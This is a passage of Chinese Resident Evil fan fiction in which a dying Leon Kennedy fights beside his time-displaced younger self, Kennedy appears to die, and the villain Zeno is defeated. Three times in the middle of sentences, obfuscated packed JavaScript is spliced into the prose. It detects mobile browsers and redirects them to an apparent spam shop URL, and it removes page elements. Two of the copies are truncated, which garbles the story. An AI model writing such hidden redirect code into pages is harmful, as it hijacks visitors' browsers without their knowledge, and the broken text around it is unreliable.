不过还没高兴一秒,他也注意到了,里昂小臂上那片大面积的黑色淤青,还有脖颈上那些狰狞的血丝,已经蔓延到了下颌线。 “……” 刚收拾好的心情,又沉了下去。 面对真正的死亡,他好像马上就要直面了。 肯尼迪深吸一口气。他不能再软弱了。 他是警察。 可心底那细密如针扎的刺痛,怎么也压不下去…… 这时,里昂忽然开口,“肯尼迪……里昂·S·肯尼迪。这或许是宿命,也是最好的归宿。我可不希望自己安安稳稳地老死,或者被病毒变成怪物。我希望能站着死去……在战斗中。” “………”肯尼迪心中猛地一紧。那话语里的洒脱,让他心里不是滋味。可他明白,无可奈何。 他声音发颤,“明白了。” 走在前面的里昂继续说,“也许这就是上帝的安排。等我走了,你可以替我继续往前走。雪莉要是知道她的搭档突然变成了二十一岁的小伙子,一定会很惊喜。她的老搭档居然比她还年轻了。” “……这个时候别说俏皮话。”肯尼迪的声音有些闷。 “哈哈。” 两人在安布雷拉遗址里探索。肯尼迪发现了一个圆柱形装置,而里面竟然是一只没有皮肤的血肉怪物,红白的大脑裸露在外,还有那血红的肌肉。 “这是什么!” “安布雷拉公司用病毒制造的生化武器。之前那个大高个也是。”,里昂皱起眉头,“看来这儿曾经是他们的实验室……没想到就在浣熊市下面。” “真是丧心病狂,居然拿人做实验。” “他们都是一群疯子。” 两人搜了几间房,很快是摸到了一间监控室。 里昂走上前,一眼就看见了屏幕上的格蕾丝,他指尖敲击键盘,操作着监控,“这是哪儿?” 他眉头紧锁,顺着监控画面很快锁定了格蕾丝的位置。旁边的屏幕上显示着基地地图,他迅速记在脑中。 “有人来了。”,肯尼迪忽然说。 里昂回头看去,监控画面里,一队戴着防毒面具,训练有素的精英队伍正朝这边走来。 里昂拔出配枪,冷笑一声,“看来我们不太受欢迎啊。” 两人刚出监控室,外面的灯就全灭了,是有人切断了电源。 这时一束强光扫过来,那队精英已经逼近。 里昂和肯尼迪同时闪身躲进暗处。 两个人都明白。对方人多,他们必须偷袭。 里昂眼神专注,听着逐渐靠近的脚步声,浑身肌肉紧绷。 而就在第一个黑色作战服的身影出现的瞬间,他瞬间暴起,一刀砍向来人的膝盖。 对方腿一软,里昂回身一胳膊勒住他的脖子,瞬间将其撂倒,反手一斧头直截了当的了结了他的性命。 然后顺手将对方的武器捞起来,扔给肯尼迪。 而肯尼迪“哇哦”了一声,他慌忙接住。这枪可比他那把□□厉害多了。 里昂心里暗想,这小子真该学学表情管理,那副傻乎乎的样子实在没眼看。 肯尼迪赶紧跟上里昂的步伐,在黑暗中隐蔽起来。 里昂贴着墙壁,悄无声息地绕到敌人身后,拿起狙击枪,直接是一枪爆头。 他带着肯尼迪进入下一个房间,很快是发现对方正在狙击他们。可里昂速度更快,他利用射击死角进行躲避,然后架起狙击枪瞬间解决掉两个。然后又绕到高处,借着地形优势,很快将这支拦路的精英小队全部歼灭。 肯尼迪在一旁看得心惊肉跳,不过他其实就是个捡子弹的工具人,只要靠里昂的战斗力就可以了。而里昂的格斗技巧和枪械能力,实在让他惊叹,他不由崇拜的看着里昂。 “别这么看着我。”里昂道,“你以后也能做到。” “那得多久才能达到这种水平?” “大概四十九岁吧。” “……”,肯尼迪直接是无言以对。 “跟着我。” 穿过通道,里昂离监控里看到的格蕾丝的位置越来越近了。他按下耳麦,“雪莉,格蕾丝应该就在附近了。是时候找到答案了。” 两人走过狭长的白色通道,来到一扇自动门前。 在两人靠近的瞬间,门直接是打开了。 里面是一个极其宽敞的空间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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子弹呼啸而至的瞬间,齐诺微微侧身,就像是画面抽了帧一般,轻描淡写地躲了过去。 简直就是闲庭信步。 里昂眉头紧皱,实在是麻烦,这根本不是人类。 而下一秒,齐诺的身影如同鬼魅,赫然出现在里昂身后,枪口抵住了他的后脑。 里昂面无表情,“挺花哨的嘛——” 而话音未落,他猛地一肘击中齐诺持枪的手,将枪打落。在翻身之际,转头是一斧头砍断了齐诺的手臂。 里昂趁机是要去夺齐诺的枪,可对方的速度根本不是人类该有的,齐诺瞬间闪开,并且是一肘狠狠砸向里昂脆弱的咽喉。 “呃……呃……” 里昂眼前一黑,天旋地转,一口气怎么都喘不上来,不由跪倒在地。 “里昂!”肯尼迪立刻举枪对准齐诺。 齐诺嘴角微勾,墨镜下的眼睛冷冷瞥了他一眼。身形一晃,子弹再一次落空。 肯尼迪瞳孔骤缩,但是他根本反应不过来, 齐诺力量大得惊人,一巴掌打掉肯尼迪的枪,直接是单手掐住了他的脖颈。 “呃……” 巨大的力量让肯尼迪被单手提了起来,肯尼迪眼前一阵发黑。他拼命挣扎,可对方的手臂硬如钢铁,纹丝不动。 齐诺举起被里昂砍断的那只手,而断掉的胳膊正以肉眼可见的速度愈合如初。 他冷笑一声,“小老鼠胆子倒是不小嘛?不过……” 他另一只手捏住肯尼迪脸上的防毒面具,一把扯了下来,“藏头露尾的,不敢见人吗?” 而面具落下,竟然露出了一张年轻又极为熟悉的脸。 齐诺浑身一震, “……怎么会?这怎么可能……” 这张脸,他绝对在照片上见过。并且还是很久以前的照片…… “里昂·S·肯尼迪……” 他嘴角慢慢咧开。 “有趣……真有趣。” 8. 再见 “里昂·S·肯尼迪的克隆人?”齐诺很快是想到了一种可能,他饶有兴趣地打量着肯尼迪,“谁克隆的你?又为什么要克隆你?” 而他并未注意到,身后的里昂已经站了起来。 里昂抄起斧头,直直劈向齐诺的脖颈。齐诺到底反应极快,侧身闪避,却还是慢了半拍。斧刃结结实实地砍进了他的肩膀,鲜血瞬间涌了出来。 “呃——!”齐诺吃痛地叫出声,直接是将肯尼迪狠狠甩开。 齐诺面露凶色,他这点伤虽要不了他的命,可却是莫大的羞辱,他反手一拳,狠狠轰在里昂的腹部。 “砰”的一声,里昂被这股巨力打得飞出去,撞在墙上。 “呃……”,里昂眼前发黑,腹部传来剧痛,肋骨肯定是断了。 他瘫倒在地,想要爬起来,而喉头却涌上一股腥甜。 “咳咳!”里昂猛地吐出一口鲜血,殷红的血顺着嘴角淌下来。 齐诺墨镜后的眼睛泛着冷光,语气轻蔑,“肯尼迪先生,再见了。” 他拔出枪,直接对准倒在地上的里昂。 “不要!”肯尼迪拼命想要爬起来,可是看着距离根本来不及。 而就在这时, “住手!”,格蕾丝的声音忽然响起。 齐诺扣扳机的动作微微一顿,回头看去。 格蕾丝颤颤巍巍地举起手枪,表情满是惊慌,却拼命让自己镇定下来。枪口抵住了自己的太阳穴,她的声音发沉,“你还需要我,对吧……?” 齐诺的动作直接是僵住了。 格蕾丝是他打开方舟唯一的钥匙,如果她死了,他所有的努力都将付诸东流。 就在他愣神的片刻,里昂是找准了时机,是一下掏出安魂,一枪打向旁边巨大的机械臂。 “轰轰!!” 机械臂的连接部件被安魂子弹打烂,而控制不住的坠落,齐诺不得不后退几步,他被这机械臂给拦在了平台的另一边。 “呃……快走!”,里昂看准时机,一把拉住格蕾丝的手,奔向了坠落的机械臂。 而与此同时他看向肯尼迪,“肯尼迪!快!” 肯尼迪挣扎着起身,立马朝他们跑来。 里昂一把将格蕾丝拽上正在坠落的机械臂,腾出手伸向肯尼迪, “肯尼迪!” 就在机械臂要离开平台的时候,肯尼迪飞扑过来,死死攥住了里昂的手。 里昂紧绷的神情稍稍松了片刻。他单手抓紧肯尼迪,正要将对方拉上来…… 却看见肯尼迪身后,齐诺举起了枪! 里昂瞳孔陡然紧缩,他在那一刻爆发出惊人的力量,拼命想要将肯尼迪拉到身后护住,想要身体来挡住那一枪。 可肯尼迪也看见了,他没有松手,反而死死拽住了里昂的手臂。 “砰——!” 浓重的血腥味扑面而来。 里昂顿住了,他不可置信的看向了肯尼迪。 肯尼迪胸口的衣服瞬间被鲜血浸透,即便穿着防弹衣,可齐诺那把特制的左轮手枪威力惊人,子弹用的本就是狙击枪特制子弹,能够轻易穿透防弹衣。 “不……不!肯尼迪!” 肯尼迪的眼神开始涣散,嘴角溢出鲜血,他整个人瘫倒在里昂身上,气息微弱。 肯尼迪能感觉到生命正在流逝。浑身发冷,四肢无力…… “里昂……” “肯尼迪!”里昂拼命想要捂住他胸口的伤,可那血是那样滚烫,不停地从指缝间涌出来,“Fuck!……怎么会这样……” “没用的……里昂……我……”肯尼迪努力抬起头,望向面前这个男人。他脸上早已不见了方才的镇定与冷静,只剩下惊慌失措,甚至那对浅色的瞳孔溢出了水色… 肯尼迪仔细地将里昂的容貌刻进心里,一种奇怪的情绪渐渐浮上来……他好像…… 他想说什么,却终究只是抿紧了唇,而这时能感觉到喉咙里涌上血沫…… 最后,他的脑袋无力地垂落下去,而肯尼迪的额角似有若无地擦过一片温热的唇角。 “里昂……活下去……” “……肯尼迪!里昂·S·肯尼迪!不要!”里昂瞳孔紧缩,而他的唇角还残留着刚刚的冰凉。 里昂心脏像被一只巨手狠狠攥住,他几乎喘不上气 他抱住那具渐渐冰冷的身体,他无声的嘶吼着。 怎么会这样…… 脑海里不由自主地闪回到之前的记忆…… 肯尼迪眨了眨他那双清澈好看的蓝眼睛,神情还带着天然的稚气,像只稚嫩的金毛幼犬。 “您好,警官。新人肯尼迪,向您报到。” “难道中年的我,就像一只炸毛的刺猬,要把所有好意都拒之门外吗?” “但是……我相信……您只是累了。您也许变了,但我相信我自己。我想要保护他人、帮助他人的那颗心,永远不会变,这是我当警察的初衷。” “要走也是您走!您是伤员!再说了,没有会逃跑的警察!” “……” 肯尼迪在哭。 他嘴唇紧抿着,发白,眼眶里全是泪水。他捂着自己的眼睛,泪水从指缝间渗出来,顺着脸颊淌下去。 肯尼迪的声音哽在喉咙里,“我知道……我知道您为什么总是一个人了做任务了。因为我没办法……我没办法看着任何人离开。” “……” 里昂的眼眶酸涩得厉害,泪水再也止不住,从眼角滑落。 里昂闭上眼睛,死死抱住肯尼迪,声音从喉咙深处无声地嘶吼出来。 像一头落了单的狼,独自舔舐伤口…… “………” “里昂!”格蕾丝的声音响起,“里昂!我……我们是不是该下去了?前面是墙……” 她拽着里昂,却惊讶地发现他眼角竟有泪痕,“里昂!你受伤了吗?” 而里昂没有回应,像是一个呆呆的木头人。 格蕾丝咬了咬唇,用力拉着里昂从平台上跳下来,落在垃圾堆上。 “呃……”格蕾丝喘了口气,站定了身体,她立刻回头去看里昂。 她发现里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这到底是怎么回事?”里昂深吸一口气,强压下胸口的悲痛,双手按住格蕾丝的肩膀,“我昏过去之前,到底发生了什么?” 格蕾丝眨了眨眼,“我被齐诺威胁的时候,是里昂先生您出来救了我……然后您开枪打坏了机械臂,抓着机械臂拉着我……” “等等!”里昂眉头紧皱,“我身边跟着的那个戴面具的年轻人呢?你不记得了吗?” “什么年轻人?”格蕾丝困惑地看着他,“只有您一个人,没有第二个人。” 里昂忽然觉得整个世界都在摇晃,他瞳孔缩成一点。 他茫然的喃喃道,“怎么可能……怎么可能……” 而这时,耳麦里传来雪莉的声音,满是担忧,“……里昂,你没事吧?刚才我联系不上你……” 里昂像是抓住了救命稻草,他急切地问道,“雪莉,你知道的。就是我身边跟着的那个年轻男人,他就是二十一岁的我,年轻时的我。他还跟你打过招呼的。” 雪莉沉默了片刻。 “里昂……你状态不太好。是不是T病毒……让你出现了幻觉?” 9. hope 里昂听完雪莉发来的这半天的语音备份记录后,他彻底沉默了。 录音里只有他和雪莉的声音,再没有第三个人。 “呃……”他捂住自己的脑袋。这怎么可能呢? 他明明……他明明见到了肯尼迪。 而就在这时,他的记忆开始闪回。那些与肯尼迪共处的画面,莫名变成了他一个人的自言自语…… 他一个人走进浣熊市警察局,一个人从浣熊市警察局出来……这一路上,始终只有他一个人。 “不对!” 不可能是什么心理作用。病毒发作折磨了他很久,可他从来没有出现过如此真实的幻觉。 不可能。 他不会忘记他的。 他是我的队友,他救过我。 舌尖传来一阵腥甜,里昂的头脑瞬间清醒。那些流逝的记忆不再像流沙般消散,反而越发清晰…… 里昂缓了口气。 他不知道这究竟是怎么回事,但他相信肯尼迪不是幻影,这个念头让他心中稍安。 就在这时,病毒突然发作,胸口一阵剧痛,一口血抑制不住地涌上来。里昂下意识捂住嘴,血液从指缝间渗出。 他恍惚地看着掌心的血,不由想起肯尼迪,想起他胸口不断涌出的鲜血。 不过他苍白的脸上,眉头却渐渐舒展开来。 肯尼迪的尸体消失了……那是不是说明,他或许已经回到了正确的时间线? 而现在,他的结局已经定了。 那孩子见不得生死离别,怕是要哭鼻子的。 呵…… 这样也好。是时候结束这一切了。 里昂抹去唇边的血迹。 格蕾丝担忧地看着他,“里昂,你受伤了?你的脸色太苍白了。” “T病毒,三期感染的症状。” “你病得这么重,为什么还要来?” 格蕾丝问完这个问题,却发现面前这个高大英俊的男人,忽然勾起了嘴角。 “呵,也有人问过我这个问题。”里昂的眉头不再像之前那样紧锁,而是平和地舒展开来,缓缓说出了一句话,“因为我是里昂·S·肯尼迪。仅此而已。” “我会来。我必须要来。我要代替浣熊市的所有人,来结束这一切。” 格蕾丝怔住了。她其实不太明白这句话的分量,却感觉里昂身上那股阴郁的气息已经消散了,取而代之的是令人安心的可靠。 她没有再追问,只是说,“可我们打不过齐诺……” 里昂摇了摇头,他只是换了一个话题,“齐诺说你身上有什么密码……他指的是什么?” “我不知道……”格蕾丝微微低头,心里满是歉疚,“真的很对不起……” 里昂没再说什么,只是将配枪装满子弹,“我要回去。我必须毁掉厄尔庇斯……还有,杀了齐诺。” “我……我也要和你一起去。”格蕾丝的声音有些颤抖。 “你不要冒险了。”里昂转身便走。 “我已经不想再后悔了!”格蕾丝喊道,他声音坚决,“只要能拯救这一切,我什么都不在乎。” 里昂停下脚步,回头看向格蕾丝,神情恍惚了一瞬。 他好像看到了曾经的自己。 格蕾丝和他一样…… 他迟疑片刻,说,“如果……如果我没能撑到最后,拜托你,一定要结束这一切。” “我保证。” “走吧。” 而里昂觉得身体无比沉重。他捂着腹部,忍不住微微弯下腰,“呃……咳咳……” 他们走了几步,前方一辆巨大的吊斗挡住了去路。 格蕾丝眼睛一亮,“看,上面有扇门。” 机械臂的后面,确实有一扇门。 “被吊斗挡住了。”里昂无奈地说。他打着手电筒环顾四周,很快发现一面水泥墙,墙上方三米处有个通道。 “要不我先上去看看?”格蕾丝说,“您能帮我一把吗?” “试试看吧。”里昂把手电筒夹在颈间,靠墙站好,双手交叠,“来吧。” 格蕾丝按住他的肩膀,踩上他的手臂,借力攀住了平台,爬了上去。 “一个人小心些。”里昂抬头望着她。 “我会的。”格蕾丝点点头。 “咳咳……”看着格蕾丝离开,里昂再也撑不住,靠在墙上缓缓滑坐下来。 “咳咳……真是操蛋。”这病毒像把软刀子,在血肉里慢慢搅动,不致命,却让人难受得发狂。 咳了好一阵,总算能喘口气了。 里昂垂着眼睫,不由想起肯尼迪,他胸口涌上一股酸涩,压也压不住,让他不由吐出一口气。 “他还活着……一定还活着。” 这是最好的猜测,他愿意相信。 可无论真假,他或许再也见不到那个年轻人了。 里昂无力地靠在墙上,他的头微微后仰,后脑勺抵着墙面,露出一段线条分明的脖颈,那里同样爬满了黑色的血丝,如同细密的蛛丝网。 而那张五官分明的脸异常的苍白。 他眼眶微微泛红,浅色的眼眸里翻涌着难以抑制的情绪。 “肯尼迪……里昂·S·肯尼迪。多么魔幻的世界啊……为什么偏偏在临死前见到他呢?” “他就是我啊……” 我甚至现在才明白,之前那些燥热奇怪的感觉,或许不单单是病毒的缘故。 多么魔幻…… 不过现在想这些,也没什么用了。 …… …… “滴答……滴答……” 里昂歇了一会儿,便开始寻找其他出口。可惜,似乎只有吊斗后面那扇门可以走。 又过了五分钟。 吊斗传来启动的声音。 “咔嗒——” 里昂回头望去,吊斗已经移开,露出了后面的出口。 “好了……开工。”他朝出口走去,刚迈出两步,胸口便是一阵剧痛,“Fuck……” 雪莉的声音传来,“你还好吗,里昂?” “还行。格蕾丝给我开了条路。” “我问的不是这个。你的身体已经到极限了,而且还出现了幻觉。” 那不是幻觉。 里昂没有解释,他只是说,“我要了结这一切。你只管派架直升机来接我们就好。” 他爬上楼梯,进入房间,透过玻璃看见了上方的实验室。 “在那儿吗?小菜一碟。” 而这时通道拐角处传来怪物的嘶吼。他走上前,刚刚拐角,两个丧尸出现在视野里。 “正等着你们呢。”里昂冷静地抬枪,两发爆头。 可只是又走了几步,他再次止不住的咳嗽,嗓子疼得像吞了刀片。 大脑一阵的眩晕,周围的一切他似乎都感受不到了,整个人都像是沉入了水中。 他能清晰地听见自己的心跳,砰,砰,砰…… 他的身体止不住的发软。而恍惚间,他看到几只苍白的丧尸正朝他扑来。 里昂立刻开枪,只是他开枪的速度明显慢了许多。一只丧尸挥爪扑来,里昂咬牙侧身躲避过去,再次回手一枪爆头。 “Shit!!这玩笑开得也太大了……咳咳……” 他咬紧牙关继续前进。一路上丧尸不断,但对里昂来说算不上什么威胁。 只是他身上的病毒发作得越来越频繁了…… 解决完一大波舔食者和丧尸后,里昂终于登上前往实验室的电梯。 他按下向上的按钮,身体靠住墙壁。 “呃……哈啊……” 太累了。太难受了。 里昂眉头紧锁,他能感觉到,生命正在一点一点地流逝。 他强忍着痛苦,拔出“安魂”,检查子弹是否装满。 “雪莉,我快到了……”他喘着粗气。 耳麦里传来电流声,隐隐约约是雪莉的声音, “……里昂……” 随后便断了。 病毒发作的剧痛让他蜷起身子,止不住地咳嗽。 整个人像沉入了冰冷的深海。 “砰,砰……”心跳速度诡异地加快,让他忍住不住大口喘着气。 电梯门开了。 疼痛也他没有停下脚步。 他在心里一遍又一遍地告诉自己,结束这一切,毁掉厄尔庇斯……替肯尼迪报仇。 他拖着沉重的步伐,一步步迈向实验室大门。 “咳咳咳……” “我还没死呢……” 他喘着粗气,迈上台阶,终于来到实验室门口。手刚碰到门,胸口像是被刀子狠狠刺穿,可是浑身的力气瞬间被抽空。 他跪倒在地,大口大口地吐出鲜血……眼前一黑,靠在墙上,失去了意识。 同一时间, 格蕾丝正在监控室里查看母亲留给她的光盘。 画面中,是母亲采访斯宾塞的录像。 通过这段录像,格蕾丝知道了自己的身世, 她是斯宾塞收养的孤儿,后来被托付给了母亲。 而她根本不是什么方舟的钥匙。 可也正是这段录像,让她忽然明白了,方舟的钥匙,也就是那个密码,究竟是什么…… 这时,她从监控画面中看到了昏迷的里昂。 “我得快一点……” 厄尔庇斯或许根本不是齐诺所说的病毒。 也许……它能救里昂。 “终于轮到我做些什么了。”当年拖累母亲,让她后悔不已。如今里昂帮了她这么多,她该证明自己不再是个只会躲在后面的胆小鬼。 格蕾丝一路跑到实验室门口,看见昏迷的里昂,心里一阵焦急。 “里昂!” “不……里昂!” 垂着头的里昂发出一声低吟。 格蕾丝脸上闪过一丝惊喜,“嘿,是我,格蕾丝。里昂,快醒醒!快醒醒!” 里昂深陷在黑暗中,隐隐听见有人在叫他。他眉头紧皱,终于睁开了眼睛。 面前是格蕾丝担忧的脸。 “你还好吗?” “还好……”里昂扶着墙想要站起来,格蕾丝连忙拉住他的手臂,帮他稳住。 里昂喘了口气,“来吧。” 两人实验室的大门缓缓打开。 “我会不惜一切代价为你争取时间,”里昂看向格蕾丝说,“你来摧毁它。” “不……我有个想法。”格蕾丝思索了片刻,“让我试试。” 里昂眉头紧促,不过他没有更好的主意,况且以他现在的身体,就算想从齐诺身上咬下一块肉,恐怕也做不到了。 “我相信你。”他说,“听你的。” 格蕾丝扶着里昂往前,而不远处的齐诺,他早已恭候多时,“怎么,叛逆的少女终于打算回头是岸了?” 格蕾丝的声音有些发抖,“我知道密码。” 齐诺眼神一凝,“哦?那就遵从你的命运吧,过往之事,既往不咎。” “不过你得放过里昂。”格蕾丝说。 “可以。”齐诺根本不把里昂放在眼里。他眼中只有厄尔庇斯。 格蕾丝站在电脑前,屏幕上浮现出一行字—— 造物主究竟渴望什么? 她犹豫了片刻,敲下了…… HOPE “就是它了……” 机器瞬间运转起来。一支注射剂从操作台弹出。 格蕾丝立刻拿起它,快步跑到里昂身边,不顾他疑惑的表情,直接将药剂注射进他的体内。 “你在做什么?”里昂愣住了。 格蕾丝还没来得及开口,他就被齐诺一把推开。 齐诺也拿起一支注射剂,满脸兴奋,“里昂,就让你来亲身体验一下我的新力量吧。” 里昂却愣住了,他能感觉到,体内的病毒正在飞速消退。 他不动声色地看向正准备给自己注射解毒剂的齐诺。那东西对齐诺来说,可是毒药。 齐诺虽然不算聪明,却也察觉到了里昂状态不对。他终于意识到,刚才格蕾丝给里昂注射了什么东西。 “怎么可能?这究竟是什么?” 齐诺立刻发觉不妙,连忙将注射到一半的针管拔了出来。 而里昂则是猛地抽出背后的斧头,直劈齐诺的脖颈。 齐诺虽未完全注射解毒剂,还残留着部分能力,惊险地侧身避开了这致命一击。 里昂却顺势一脚踹向他的腹部。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404839|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呃——”齐诺额头上渗出冷汗。他竟然连这一下都没反应过来,他的能力正在消失。 他终于明白了,方舟里藏着的根本不是什么生化武器,而是解毒剂! 可恶,他被维克多那个混蛋骗了! 齐诺直接掏出枪,对准里昂, “砰!” 里昂反应惊人,瞬间蹲身躲过。他侧身滑步,一脚踹中齐诺的膝盖,紧跟着一斧头砍进他的肩膀。 齐诺捂住肩膀,伤口虽然在愈合,却远没有之前那般变态的速度。 里昂冷笑一声,“总算像个正常人了,嗯?” 齐诺的格斗本就不强,被里昂近身后更是捉襟见肘。他挣扎着想要开枪,里昂却一把扣住他的手腕,猛地一拧,“咔吧”一声脆响。 “啊!”,齐诺惨叫道,里昂顺势将他按倒在地,膝盖压住他的胸口,让他动弹不得。齐诺拼命挣扎,里昂一拳头一拳头地砸在他脸上,直接打得他眼前发昏。 血从齐诺的嘴角和鼻子涌出来。 里昂低头看着他,眼神冰冷得像寒冬中的湖水。 里昂站起身,居高临下地看着齐诺。 他缓缓拔出枪袋中的“安魂”。 “算账的时间到了。” “砰——” 一枪爆头。 …… …… 格蕾丝披着毛毯,正在缓缓喝着热咖啡。 她和里昂一起被军队从安布雷拉的实验室里救了出来。 可她到现在都没见到里昂,她还想和里昂聊聊呢。 而这时,一个高大壮实的男人走了过来。她听过他的名字,也见过对方的照片。 “您是克里斯先生?” 克里斯笑了笑,“是我。我来找里昂的,他去哪儿了?” 格蕾丝摇摇头,“我不知道。从直升机上下来之后,我就再没见过他。” “听雪莉说是你救了里昂。” 格蕾丝脸颊微红,“不……我只是做了该做的事。” “不,你很棒。我替里昂谢谢你,你很勇敢。” “谢谢……”,而格蕾丝忽然想起什么,“对了……我不知道是不是病毒的原因,里昂先生之前一直问我有没有看见一个人。” “谁?” “他说他看见了自己,二十一岁的自己。” 克里斯愣了一下,恍惚片刻,低声说,“那我知道他在哪儿了。” 克里斯循着记忆,来到一处悬崖。 从这里,可以将整座浣熊市尽收眼底。 果然,在夜色为背景下,他看见了那个高挑的身影。 克里斯脚步微顿,然后走到里昂身边。 “今天你可辛苦了。”他说。 而里昂没有回话,他俯瞰着脚下的浣熊市。 这座曾经灯火璀璨,车流不息的城市,如今却只剩下一片死寂的废墟。目光所及之处,到处残垣断壁。 他那双浅色的眼睛,仿佛将整座城市都收了进去,而最终里昂的视线落到了浣熊市警察局。 “以前,我一直不愿回忆在这里经历的一切。”里昂说,“我在逃避。我把那些记忆当成折磨,当成负担,当成把我这该死的人生,搅得天翻地覆的起点。” “可现在……” 他看向克里斯,目光平静而笃定。 “我要记住它。记住浣熊市。记住这里发生的一切,无论是痛苦的,还是快乐的。我不是背负着所有浣熊市市民活下去的傀儡。我是替那些没能逃出来的人,更加好好地活着的证明。” 克里斯怔住了,“你能这样想,真不可思议。我都觉得你快要抑郁了,那些责任快把你压得喘不过气了吧。” 里昂微微笑了笑,“是吗?” 他回头,再次望向这座破碎的城市。从加油站,到市政厅,到医院,再到远处的警察局…… 而这时,夜空忽然飘起了雨。 细密的雨点落下来,打在废墟上,打在警察局上,打在他肩头…… 里昂抬头望了望天,又看向克里斯,“我大概还想再去一个地方。” “哈,我知道。”克里斯说,“那下次再见了。” “滴答……滴答……” “Cold rain seeps to my soul,” “冷雨浸透我的灵魂,” 夜幕下,破败的浣熊市空无一人。 里昂独自走在街道上,月光将他的影子拉得很长很长。 “Old wounds, I can not et.” “旧伤难忘,刻骨铭心。” “Night steals away my sight,” “黑夜夺走我的视线。” “Screams, I can not shut them out.” “尖叫嘶吼,不绝于耳。” “What if I had reached out to you,” “若我当时向你伸手,” “I would not have walked alone.” “怎会独自徘徊游走。” “Fighting the darkness holding me,” “与囚禁我的黑暗搏斗。” ”Dragging me to the ground.” “它拖着我坠入深沟。” “Facing the pain that is controlling me,” “直面那操控我的苦痛。” 在破旧的警察局门口,出现了一个高大的人影。 里昂抬头望着这座由博物馆改造的警察局。 眼神划过暗色。 “I won not let it keep me down.” “绝不让它把我掌控。” “I will make it through to the other side.” “我会抵达彼岸尽头。” “呼……” 里昂再一次推开了那扇木门。 “嘎吱——” 10. 重逢 “天哪,到处都是……真是见鬼。” 肯尼迪望着四处涌来的丧尸,不过他早已没了最初的惊慌。他冷静地扣动扳机,一枪接一枪。 可他的子弹终究有限。躲过扑来的丧尸,连忙是跑开,而终于在走廊尽头看见了一丝光亮,那是从一道卷帘门的缝隙里透出来的。 他立刻趴下,努力是从缝隙往里爬。 而就在这时,一股力道猛然攥住了他的小腿。他回头一看,那是一张血肉模糊的丧尸脸,恶心的腥臭味扑面而来。 “该死!” 肯尼迪拼命蹬踹,可趴着的姿势根本使不上力。眼看着那丧尸的爪子就要抓上来,一股无力感涌上心头, 就在这时,一只手猛地将他拽了进去,紧接着一脚将那只爬进来的丧尸爆了头。 “哈……呼……”肯尼迪坐在地上,大口喘着粗气。方才的惊险让他的心脏砰砰直跳。 他咽了口唾沫,抬头看向来人,一个腹部受了伤的黑人警察。 “你现在安全了,”黑人警察道,“虽说只是暂时的。” “多谢。”肯尼迪感谢道。 而那警察闷哼一声,捂着腹部,似乎疼得厉害,无力的靠在墙上。 他看着肯尼迪,“我是马文·伯拉纳。” 肯尼迪正喘着气,闻言猛地顿住了,“您就是马文警官?” 马文一怔,“你认识我?” 肯尼迪抿住了嘴。 他之前不认识。可刚刚穿越到二十八年后的那场经历,让他从里昂口中记住了这个名字。 里昂…… 肯尼迪脑海里不由自主地浮现出里昂那双浅蓝色的眼睛,还有那个充满安全感的身影。 …可是他再也见不到他了。 在胸口被枪击中的那一刻,他眼前一黑,像是进入了一片虚无,他以为自己死了。 可下一秒再睁开眼,自己又站在了警察局大厅里,正是他刚刚从丧尸群里逃进来的时候。 而二十八年后的经历的那一切,仿佛只过了一秒,像个梦。 可肯尼迪不相信那是幻觉,也不相信那是梦。 他和里昂经历的那一切,感受是那样真实。 他记得那头精心梳理过的金发,记得那个拥抱的温度,记得那双粗糙的手为他擦去眼泪的触感…… 还有临死前恍惚间看见的,那双泛红的眼眶。 那不可能是梦。 只是想到或许再也见不到里昂,他心里便堵得发慌,酸涩发胀。 这些念头在肯尼迪脑海中一闪而过。 或许是因为和里昂一起经历的那些事,他早已褪去了当初的青涩,也能更快地收拾好自己的情绪。 “没……”他看向马文,“我是里昂·S·肯尼迪。” 他垂下头,“还有另一位警察……我没能救下他。” 刚才在房间里,他听见呼救声便冲了过去,可还是晚了一步。那人被丧尸活活咬成了两半,而他自己也被丧尸围困,然后慌不择路逃到了这里。 而想到一条鲜活的生命就这样在眼前消逝,他心里难受极了。 马文朝他伸出手,“我知道你已经尽力了,肯尼迪。不必自责。” 肯尼迪只好点了点头。 “那边有一套警察作战服,”马文说,“还有防弹衣和护臂。穿上吧,这样安全些。” “好的,警官。多谢。” 肯尼迪换上深蓝色的警服,又找到了弹药,一并都装备好。 他看向马文,对方正坐在沙发上看电脑,手边放着肯尼迪刚才从一具尸体旁捡来的笔记本。 他看着马文的背影,想起里昂看见马文警官工牌时的神情。 里昂当时很伤心…… 这似乎已经告诉他,这位刚刚救了他的长官,最终没能逃出浣熊市。 肯尼迪心里不由得沉重起来。 不过这一次,他或许可以改变些什么。他必须救下这位好警察。 肯尼迪朝马文走过去。 “为什么会发生这些事?”马文看着屏幕,语气里满是不解,“怎么会有这么多活死人……毫无头绪。” “是一种病毒,”肯尼迪说,“好像是叫T病毒。那些人都是被病毒感染了。您听说过安布雷拉公司吗?” 马文顿住了,“你是怎么知道这些的?”他顿了顿,“我倒是从一些小道消息里听过这家公司……简直不敢相信。” 他没有继续追问。眼下知道这些也无济于事,最重要的是怎样才能活着出去。 他自己大概是没希望了。可眼前这个年轻人,必须活着离开。 他拿起那个笔记本,翻开给肯尼迪看,“那位警官认为,可以从这个秘密通道逃离警察局。” 肯尼迪面露喜色,“那太好了。这样就能把您送去医院治疗了。” 